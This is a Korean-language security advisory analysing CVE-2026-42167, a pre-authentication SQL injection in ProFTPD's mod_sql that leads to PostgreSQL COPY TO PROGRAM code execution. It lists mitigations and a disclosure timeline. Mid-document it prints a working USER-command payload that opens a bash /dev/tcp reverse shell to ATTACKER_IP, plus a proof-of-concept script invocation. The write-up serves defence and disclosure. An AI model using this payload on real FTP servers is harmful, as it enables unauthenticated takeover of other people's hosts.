
Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167)
mod_sql SQL 인젝션을 통한 사전 인증 원격 코드 실행작성자: Van Glenndon Enad
최초 발견: ZeroPath
게시일: 2026년 5월 1일
심각도: 치명적(Critical)
CVSS v3.1 점수: 8.1
CVSS v3.1 벡터: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2 점수: 7.6
CVSS v2 벡터: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL 인젝션), CWE-78 (OS 명령 인젝션)
CVE-2026-42167은 ProFTPD의 mod_sql 확장 모듈에서 발생하는 치명적인 사전 인증 SQL 인젝션 취약점입니다. is_escaped_text() 함수의 논리적 결함으로 인해 인증되지 않은 공격자가 잘못된 "이미 이스케이프됨" 휴리스틱을 충족하는 값을 가진 USER 명령을 조작하여 SQL 문자 이스케이프를 우회할 수 있습니다. 인젝션된 SQL은 스택 쿼리를 지원하는 PQexec()를 통해 백엔드 데이터베이스로 직접 전달됩니다.
ProFTPD 데이터베이스 역할이 PostgreSQL 슈퍼유저인 경우(컨테이너화된 배포에서 흔한 잘못된 구성), 인젝션은 PostgreSQL의 COPY TO PROGRAM 지시문에 도달하여 postgres 시스템 사용자로 인증되지 않은 OS 수준 원격 코드 실행을 초래합니다. 자격 증명, 사전 접근 권한, 사용자 상호 작용이 필요하지 않습니다.
| 구성 요소 | 버전 |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| 모듈 | mod_sql + mod_sql_postgres |
| 수정 버전 | 1.3.9a (2026년 4월 27일 출시) |
| 백엔드 | PostgreSQL (RCE); MySQL / SQLite (인증 우회만 가능) |
ProFTPD는 널리 배포된 오픈소스 FTP 서버입니다. Shodan에 따르면 인터넷에 160,000개 이상의 공개적으로 접근 가능한 ProFTPD 인스턴스가 존재합니다. mod_sql 모듈은 cPanel, Plesk, DirectAdmin, Webmin, ISPConfig을 포함한 공유 호스팅 제어판에서 일반적으로 활성화되어 있습니다.
ProFTPD의 mod_sql 모듈은 SQL 기반 인증 및 활동 로깅을 지원합니다. 로그 형식 문자열에는 %U(사용자 이름), %r(원격 호스트), %m(FTP 명령)과 같은 치환 변수가 포함될 수 있습니다. 이러한 변수는 런타임에 확장되어 구성된 백엔드에 대해 실행되는 SQL 쿼리에 삽입됩니다.
일반적인 취약한 구성:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
이 구성에서 FTP USER 명령에 제공된 값은 %U로 치환되어 SQL INSERT 문에 직접 포함됩니다. 삽입 전에 값은 이스케이프가 필요한지 확인하기 위해 is_escaped_text()를 통과합니다. 이 함수에는 치명적인 논리적 결함이 있습니다.
is_escaped_text() 함수contrib/mod_sql.c에 위치한 이 함수는 문자열이 "이미 이스케이프되었는지" 판단하기 위해 다음 휴리스틱을 적용합니다:
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* 다음 조건을 충족하면 문자열이 이스케이프된 것으로 간주:
* 1. 작은따옴표로 시작
* 2. 작은따옴표로 끝남
* 3. 내부에 작은따옴표가 없음
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* 이스케이프 건너뜀 */
}
return FALSE;
}
이 함수가 TRUE를 반환하면 sql_resolved_append_text()(777행)는 원시 이스케이프되지 않은 값을 쿼리 문자열에 직접 삽입합니다. 그런 다음 값은 스택(다중 문) 쿼리를 지원하는 contrib/mod_sql_postgres.c(1146행)의 PQexec()에 의해 실행됩니다.
이 휴리스틱은 이미 SQL 문자열 구분 기호로 둘러싸인 문자열을 감지하기 위한 것으로 보입니다. 그러나 내부 콘텐츠가 안전한지 확인하지 않으며, 추가 작은따옴표가 없는지만 확인합니다. 즉, 다음 조건을 충족하는 모든 페이로드는:
'로 시작'로 끝남$$ 달러 따옴표 사용)...검사를 통과하여 SQL 쿼리에 그대로 인젝션됩니다.
FTP 클라이언트 ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ %U = '<payload>' 확장 │
│ │ is_escaped_text() = TRUE│
│ │ 이스케이프 건너뜀 │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ 스택 SQL 실행
│ │ │ COPY TO PROGRAM
│ │ │── 셸 명령 ──▶ OS
| 요구 사항 | 비고 |
|---|---|
SQL 로깅이 활성화된 mod_sql | %U와 같은 사전 인증 변수를 로깅해야 함 |
| PostgreSQL 백엔드 | COPY TO PROGRAM RCE에 필요; MySQL/SQLite는 여전히 인증 우회 허용 |
| DB 역할이 PostgreSQL 슈퍼유저 | COPY TO PROGRAM은 슈퍼유저 또는 pg_execute_server_program 멤버로 제한됨 |
DB 호스트에서 bash 사용 가능 | /dev/tcp 리버스 셸 전달에 필요 |
| 네트워크 연결성 | PostgreSQL 컨테이너가 리스너 포트에서 공격자에게 도달할 수 있어야 함 |
슈퍼유저 조건은 공식 PostgreSQL Docker 이미지에서 POSTGRES_USER=...를 통해 ProFTPD DB 사용자가 생성되거나 관리자가 ProFTPD 역할에 데이터베이스 소유권을 부여하는 컨테이너화된 배포에서 자주 충족됩니다.
1단계: 공격자가 조작된 USER 명령 전송 (사전 인증, 자격 증명 불필요)
│
▼
2단계: ProFTPD가 %U를 공격자 제어 값으로 확장
│
▼
3단계: is_escaped_text() 우회 — 원시 SQL이 이스케이프 없이 통과
│
▼
4단계: PQexec()가 PostgreSQL에 대해 스택 쿼리 실행
│
▼
5단계: COPY TO PROGRAM이 postgres OS 사용자로 공격자 셸 명령 실행
│
▼
6단계: 리버스 셸 / 파일 유출이 공격자에게 전달
인젝션 페이로드는 FTP USER 명령을 통해 전달됩니다:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| 조건 | 충족 여부 | 이유 |
|---|---|---|
'로 시작 | ✅ | 첫 번째 문자가 ' |
'로 끝남 | ✅ | 마지막 문자가 ' |
| 내부 작은따옴표 없음 | ✅ | 내부 문자열은 $$ 달러 따옴표 사용 |
| 세그먼트 | 목적 |
|---|---|
', null, null); | 원래 INSERT 문을 깔끔하게 종료 |
COPY (SELECT $$x$$) TO PROGRAM | PostgreSQL의 COPY TO PROGRAM을 사용한 스택 쿼리 |
$$bash -c ...$$ | 작은따옴표를 피하기 위해 $$ 달러 따옴표를 사용한 셸 명령 |
; --' | 스택 쿼리 종료; --'는 나머지를 주석 처리하고 우회를 위한 닫는 '를 제공 |
경고: 이 PoC는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 사용하지 마십시오.
사용 예시:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| 범주 | 설명 |
|---|---|
| 기밀성 | postgres OS 사용자로 파일 시스템에 대한 전체 읽기 권한 |
| 무결성 | 파일 쓰기, 데이터베이스 내용 수정, 백도어 설치 가능 |
| 가용성 | 서비스 중단, 데이터 파괴 가능 |
| 인증 | 사전 인증 상태에서 자격 증명 없이 악용 가능 |
| 범위 | ProFTPD를 넘어 기본 PostgreSQL 호스트로 확장 |
ProFTPD가 PostgreSQL 인스턴스와 함께 배치되거나 슈퍼유저 접근 권한이 있는 모든 시스템은 전체 호스트 손상 위험에 노출됩니다. 인접 시스템으로의 측면 이동 및 cron 작업이나 SSH 키 인젝션을 통한 지속성 확보는 사후 악용 단계에서 쉽게 달성할 수 있습니다.
is_escaped_text()를 패치합니다mod_sql 기반 로깅을 완전히 비활성화 (SQLLog 지시문 제거)SQLNamedQuery 정의에서 사전 인증 로깅 변수(%U, %r, %m) 제거INSERT 및 인증 테이블에 대한 SELECT로만 제한COPY, PROGRAM 또는 SQL 키워드가 포함된 USER 명령에 대해 FTP 로그 모니터링| 날짜 | 이벤트 |
|---|---|
| 2026년 3월 28일 | ProFTPD 유지관리자에게 취약점 보고 |
| 2026년 4월 7일 | 패치 검증 시작 |
| 2026년 4월 24일 | CVE-2026-42167 지정 |
| 2026년 4월 27일 | 수정 커밋; ProFTPD 1.3.9a 출시 |
| 2026년 4월 28일 | NVD에 게시 |
| 2026년 4월 28~29일 | GitHub에 공개 PoC 저장소 게시 |
| 2026년 5월 1일 | 독립 분석 및 단순화된 PoC 게시 |
법적 고지: 이 분석 및 개념 증명은 교육, 연구 및 방어적 보안 목적으로만 게시됩니다. 작성자는 컴퓨터 시스템에 대한 무단 접근을 용납하지 않습니다. 소유하지 않은 시스템에 대해 보안 테스트를 수행하기 전에 항상 명시적 서면 허가를 받으십시오.